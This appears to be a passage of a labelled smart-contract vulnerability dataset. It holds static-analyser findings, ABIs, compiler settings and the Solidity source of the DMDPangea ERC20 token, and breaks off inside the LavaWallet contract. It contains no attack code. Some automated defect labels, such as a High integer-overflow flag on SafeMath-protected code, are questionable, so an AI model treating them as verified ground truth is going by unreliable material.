"dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1254, 1255, 1256, 1257, 1258, 1259]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [288, 289, 290, 291, 292, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [352, 353, 354, 355, 356, 357, 348, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [276, 277, 278]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [600, 601, 599]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1205, 1206, 1207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1483, 1484, 1485, 1486, 1487, 1488]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [608, 609, 610, 611, 606, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1468, 1469, 1470]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1477, 1478, 1479, 1480, 1481]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [672, 673, 674, 668, 669, 670, 671]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1032, 1033, 1034, 1031]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1048, 1049, 1046, 1047]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [996, 997, 998, 999, 1000]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [654, 655, 656, 657, 658, 659, 660, 661, 662, 663]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1216, 1213, 1214, 1215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1536, 1537, 1538, 1530, 1531, 1532, 1533, 1534, 1535]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [592, 593, 594]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1568, 1569, 1570, 1571, 1572, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1490, 1491, 1492]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1576, 1574, 1575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1506, 1507, 1508]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1473, 1474, 1475]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [640, 641, 642]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AeraForce.sol": [1578, 1579, 1580]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [416]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"AeraForce.sol": [1186, 1187, 1188]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"AeraForce.sol": [540]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [254]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [382]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [355]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [328]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"AeraForce.sol": [1469]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"AeraForce.sol": [1474]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"AeraForce.sol": [1551]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"AeraForce.sol": [1480]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"AeraForce.sol": [899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [1459]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [683]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [1457]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"AeraForce.sol": [902]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"AeraForce.sol": [906]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"AeraForce.sol": [900]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"AeraForce.sol": [899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 494, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 767, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 788, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 795, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 811, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 814, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 821, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 846, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1206, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1497, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1523, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 416, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 443, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 535, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 538, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 540, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 543, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 546, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 549, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 552, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1010, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1013, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1016, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1019, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1172, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 902, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1449, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1241, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1254, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1266, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1283, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1295, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 433, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 905, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 251, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 557, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1179, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1540, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 251, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 251, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 252, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1542, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1543, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1546, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1546, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1547, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1547, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1549, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1551, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1551, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_PURCHASE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_TOKENS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"investor","type":"address"}],"name":"cancelReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"changeMaxPurchase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"name":"changePrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getInvestorPending","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"investor","type":"address"}],"name":"hadInvested","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"investorsPending","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"investor","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"reserve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"reserved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"investor","type":"address"}],"name":"totalBalanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReserved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.0+commit.c7dfd78e
false
200
Default
None
false
ipfs://12ede45a271519941471efbc9ab48d45ce8a4ddd1400d38be5f7892983232c99
DMDPangea
0xd3a42c0a1d1103e98d668a953cb26dbcde9844c1
Solidity
pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DMDPangea is StandardToken, Ownable { string public constant name ="DMD Pangea Token"; string public constant symbol ="DMPNG"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 50000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function DMDPangea() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["170", "171"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["23"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["174"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DMDPangea.sol": [35, 36, 37, 38, 39, 40, 41, 42]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DMDPangea.sol": [45, 46, 47, 48, 49, 50]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [68]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [147, 148, 149, 150, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [70]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [128, 129, 130, 131, 132, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [69]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [135, 136, 137, 138, 139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [23, 24, 25, 26, 27]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [160, 161, 162, 163, 154, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DMDPangea.sol": [144, 142, 143]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [147]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [154]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [108]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [147]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [154]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DMDPangea.sol": [122]}}]
[{"error": "Integer Overflow.", "line": 60, "level": "Warning"}]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 135, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 85, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 87, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 89, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.4.21+commit.dfe3193c
true
200
Default
false
bzzr://bc1facc909d841d914c8a3e902cd4091946123c3df47d9273d2ec0d37d2cf5c7
LavaWallet
0x69a02e511e027e5c26d2fbe4192e45b41db32819
Solidity
pragma solidity ^0.4.18; library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* This is a token wallet contract Store your tokens in this contract to give them super powers Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function 